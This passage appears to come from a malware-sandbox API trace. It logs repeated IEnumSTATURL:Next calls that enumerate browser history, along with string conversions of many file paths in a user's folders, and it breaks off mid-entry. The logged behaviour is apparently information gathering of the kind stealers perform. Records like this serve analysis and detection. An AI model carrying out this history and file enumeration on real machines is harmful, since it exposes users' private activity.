lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/7MXeb0dwO8o6FD-vGZ2S.xlsx", cchWideChar=61, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/7MXeb0dwO8o6FD-vGZ2S.xlsxocuments/7MXeb0dwO8o6FD-vGZ2S.xlsx", lpUsedDefaultChar=0x0) returned 61 [0163.089] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=61, lpWideCharStr=0x1f0258cc, cchWideChar=123 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/7MXeb0dwO8o6FD-vGZ2S.xlsxἂ奈ἂ奈ἂ\\") returned 61 [0163.089] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.090] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/4EaIklzk8ov/zXj1hodh297C.flv", cchWideChar=86, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/4EaIklzk8ov/zXj1hodh297C.flvYBHuh/4EaIklzk8ov/zXj1hodh297C.flv", lpUsedDefaultChar=0x0) returned 86 [0163.090] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf15e0, cbMultiByte=86, lpWideCharStr=0x1fcf19a4, cchWideChar=173 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/4EaIklzk8ov/zXj1hodh297C.flv฀῏᜜῏ᔐ῏,") returned 86 [0163.090] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.090] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/fzxXCIUPgHEcfCS_/6qnBPgIEg6sOiqb.flv", cchWideChar=94, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/fzxXCIUPgHEcfCS_/6qnBPgIEg6sOiqb.flvxXCIUPgHEcfCS_/6qnBPgIEg6sOiqb.flv", lpUsedDefaultChar=0x0) returned 94 [0163.090] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0269cc, cbMultiByte=94, lpWideCharStr=0x1f026190, cchWideChar=189 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/fzxXCIUPgHEcfCS_/6qnBPgIEg6sOiqb.flv敳獲扐ἂ扐ἂ$") returned 94 [0163.090] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.090] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/J-hi.pptx", cchWideChar=45, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/J-hi.pptxUsers/aETAdzjz/Documents/J-hi.pptx", lpUsedDefaultChar=0x0) returned 45 [0163.090] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0260f0, cbMultiByte=45, lpWideCharStr=0x1fcf15d8, cchWideChar=91 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/J-hi.pptx昮῎ưṾ\x10") returned 45 [0163.090] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.091] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/cN1xBC%20aX4X5yPNgKn.gif", cchWideChar=96, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/cN1xBC%20aX4X5yPNgKn.gif0x3ETy9kM/cN1xBC%20aX4X5yPNgKn.gif", lpUsedDefaultChar=0x0) returned 96 [0163.091] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0269cc, cbMultiByte=96, lpWideCharStr=0x1fcf1bc0, cchWideChar=193 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/cN1xBC%20aX4X5yPNgKn.gif杄ἂᲄ῏ᲄ῏ ") returned 96 [0163.091] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.091] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/3wiKno2U6/Zoxkg8bzi1vD4vjL.odt", cchWideChar=93, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/3wiKno2U6/Zoxkg8bzi1vD4vjL.odt0nw/3wiKno2U6/Zoxkg8bzi1vD4vjL.odt", lpUsedDefaultChar=0x0) returned 93 [0163.091] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026a3c, cbMultiByte=93, lpWideCharStr=0x1fcf1cdc, cchWideChar=187 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/3wiKno2U6/Zoxkg8bzi1vD4vjL.odtἂᩔ῏ᔐ῏,") returned 93 [0163.091] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.093] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/PmntnTLeYfM9-DWx4%20lX.odp", cchWideChar=62, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/PmntnTLeYfM9-DWx4%20lX.odpcuments/PmntnTLeYfM9-DWx4%20lX.odp", lpUsedDefaultChar=0x0) returned 62 [0163.093] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=62, lpWideCharStr=0x1f0269c4, cchWideChar=125 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/PmntnTLeYfM9-DWx4%20lX.odp⼺⼯橄ἂ橄ἂ`") returned 62 [0163.093] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.093] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/bMn7rPCuez.xls", cchWideChar=56, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/bMn7rPCuez.xlszjz/AppData/Roaming/bMn7rPCuez.xls", lpUsedDefaultChar=0x0) returned 56 [0163.093] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=56, lpWideCharStr=0x1f0262e4, cchWideChar=113 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/bMn7rPCuez.xls塠ἂ捘ἂ捘ἂx") returned 56 [0163.093] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.093] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/0P1gGY.flv", cchWideChar=44, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/0P1gGY.flv/Users/aETAdzjz/Desktop/0P1gGY.flv", lpUsedDefaultChar=0x0) returned 44 [0163.093] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0260f0, cbMultiByte=44, lpWideCharStr=0x1f026a48, cchWideChar=89 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/0P1gGY.flv`") returned 44 [0163.094] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.094] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/8O4HGEn56P/UNSDzl.rtf", cchWideChar=84, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/8O4HGEn56P/UNSDzl.rtfm6Rg/uhxF0nw/8O4HGEn56P/UNSDzl.rtf", lpUsedDefaultChar=0x0) returned 84 [0163.094] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026364, cbMultiByte=84, lpWideCharStr=0x1fcf1f24, cchWideChar=169 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/8O4HGEn56P/UNSDzl.rtf兄ἂ曼ἂ曼ἂD") returned 84 [0163.094] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.094] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/BNdr6TkkzaEpTvR.docx", cchWideChar=56, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/BNdr6TkkzaEpTvR.docxzjz/Documents/BNdr6TkkzaEpTvR.docx", lpUsedDefaultChar=0x0) returned 56 [0163.094] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=56, lpWideCharStr=0x1f02635c, cchWideChar=113 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/BNdr6TkkzaEpTvR.docxx") returned 56 [0163.094] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.094] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/t_NQCJqO/0r4EanPs2sXCgwErG.bmp", cchWideChar=127, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/t_NQCJqO/0r4EanPs2sXCgwErG.bmp", lpUsedDefaultChar=0x0) returned 127 [0163.094] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024c20, cbMultiByte=127, lpWideCharStr=0x1fcf23e4, cchWideChar=255 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/t_NQCJqO/0r4EanPs2sXCgwErG.bmp") returned 127 [0163.094] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.095] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/RcNzfYYChWoimpT.jpg", cchWideChar=116, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/RcNzfYYChWoimpT.jpg", lpUsedDefaultChar=0x0) returned 116 [0163.095] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf204c, cbMultiByte=116, lpWideCharStr=0x1f024c18, cchWideChar=233 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/RcNzfYYChWoimpT.jpg捗唶潂⹙ø") returned 116 [0163.095] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.095] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/FBEMbgbp31zs6IMt.ppt", cchWideChar=83, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/FBEMbgbp31zs6IMt.pptbm6Rg/uhxF0nw/FBEMbgbp31zs6IMt.ppt", lpUsedDefaultChar=0x0) returned 83 [0163.095] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf20d0, cbMultiByte=83, lpWideCharStr=0x1fcf2518, cchWideChar=167 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/FBEMbgbp31zs6IMt.pptἂ奈ἂ奈ἂ\\") returned 83 [0163.095] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.095] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/4EaIklzk8ov/QborhOI1lFwI7i5_i.mkv", cchWideChar=91, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/4EaIklzk8ov/QborhOI1lFwI7i5_i.mkv/4EaIklzk8ov/QborhOI1lFwI7i5_i.mkv", lpUsedDefaultChar=0x0) returned 91 [0163.095] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf204c, cbMultiByte=91, lpWideCharStr=0x1fcf2650, cchWideChar=183 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/4EaIklzk8ov/QborhOI1lFwI7i5_i.mkvἂ富ἂ\x1c῏P") returned 91 [0163.096] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.096] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/2jc835PfE.rtf", cchWideChar=49, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/2jc835PfE.rtfs/aETAdzjz/Documents/2jc835PfE.rtf", lpUsedDefaultChar=0x0) returned 49 [0163.096] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0260f0, cbMultiByte=49, lpWideCharStr=0x1fcf2044, cchWideChar=99 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/2jc835PfE.rtfv₨῏₨῏\x90") returned 49 [0163.096] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.096] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/API%20.doc.rtf", cchWideChar=48, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/API%20.doc.rtfrs/aETAdzjz/Desktop/API%20.doc.rtf", lpUsedDefaultChar=0x0) returned 48 [0163.096] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026708, cbMultiByte=48, lpWideCharStr=0x1fcf20ac, cchWideChar=97 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/API%20.doc.rtf睮䘯ℐ῏ℐ῏(") returned 48 [0163.096] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.097] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/3wiKno2U6/o4gFojPoTW9u0.pps", cchWideChar=90, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/3wiKno2U6/o4gFojPoTW9u0.ppshxF0nw/3wiKno2U6/o4gFojPoTW9u0.pps", lpUsedDefaultChar=0x0) returned 90 [0163.097] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2790, cbMultiByte=90, lpWideCharStr=0x1fcf28b4, cchWideChar=181 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/3wiKno2U6/o4gFojPoTW9u0.pps敤ἂዼ῏ተṾX") returned 90 [0163.097] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.097] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/XYb3sFpa/flKrtht4wx9pl/qhEO%20K0/I_qxhuXYOWO3Gju7.jpg", cchWideChar=150, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/XYb3sFpa/flKrtht4wx9pl/qhEO%20K0/I_qxhuXYOWO3Gju7.jpgx", lpUsedDefaultChar=0x0) returned 150 [0163.097] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf27f8, cbMultiByte=150, lpWideCharStr=0x1fcf32ac, cchWideChar=301 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/XYb3sFpa/flKrtht4wx9pl/qhEO%20K0/I_qxhuXYOWO3Gju7.jpgཛྷṾĸ") returned 150 [0163.098] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.098] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/bFhzBCrd4x8i/JKBW.rtf", cchWideChar=76, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/bFhzBCrd4x8i/JKBW.rtfi_qC44f0vdNG/bFhzBCrd4x8i/JKBW.rtf", lpUsedDefaultChar=0x0) returned 76 [0163.098] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f025954, cbMultiByte=76, lpWideCharStr=0x1fcf2788, cchWideChar=153 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/bFhzBCrd4x8i/JKBW.rtf䕙㕉⠤῏⠤῏p") returned 76 [0163.098] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.098] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/bFhzBCrd4x8i/BHa8QRGInh5gjlg.ots", cchWideChar=87, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/bFhzBCrd4x8i/BHa8QRGInh5gjlg.otsG/bFhzBCrd4x8i/BHa8QRGInh5gjlg.ots", lpUsedDefaultChar=0x0) returned 87 [0163.098] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf2830, cbMultiByte=87, lpWideCharStr=0x1fcf29e4, cchWideChar=175 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/bFhzBCrd4x8i/BHa8QRGInh5gjlg.ots῏⪔῏⪔῏d") returned 87 [0163.098] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.098] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/bFhzBCrd4x8i/Jstbob3.odt", cchWideChar=79, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/bFhzBCrd4x8i/Jstbob3.odtC44f0vdNG/bFhzBCrd4x8i/Jstbob3.odt", lpUsedDefaultChar=0x0) returned 79 [0163.098] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf25cc, cbMultiByte=79, lpWideCharStr=0x1f026448, cchWideChar=159 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/bFhzBCrd4x8i/Jstbob3.odtἂ擨ἂ擨ἂx") returned 79 [0163.099] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.099] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/kSQ8d9iRcfRWCQRh.gif", cchWideChar=62, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/kSQ8d9iRcfRWCQRh.gifpData/Roaming/kSQ8d9iRcfRWCQRh.gif", lpUsedDefaultChar=0x0) returned 62 [0163.099] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026b98, cbMultiByte=62, lpWideCharStr=0x1fcf2b18, cchWideChar=125 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/kSQ8d9iRcfRWCQRh.gif尠ἂ⮘῏⮘῏\x98") returned 62 [0163.099] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.099] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/LWlK4RI4xB7wVg%200R.xlsx", cchWideChar=60, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/LWlK4RI4xB7wVg%200R.xlsxDocuments/LWlK4RI4xB7wVg%200R.xlsx", lpUsedDefaultChar=0x0) returned 60 [0163.099] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0028, cbMultiByte=60, lpWideCharStr=0x1fcf2b9c, cchWideChar=121 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/LWlK4RI4xB7wVg%200R.xlsxⶌ῏ᡀ῏ᡀ῏\x18") returned 60 [0163.099] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.099] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/VE_y247Ot3u_6gTd.ots", cchWideChar=75, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 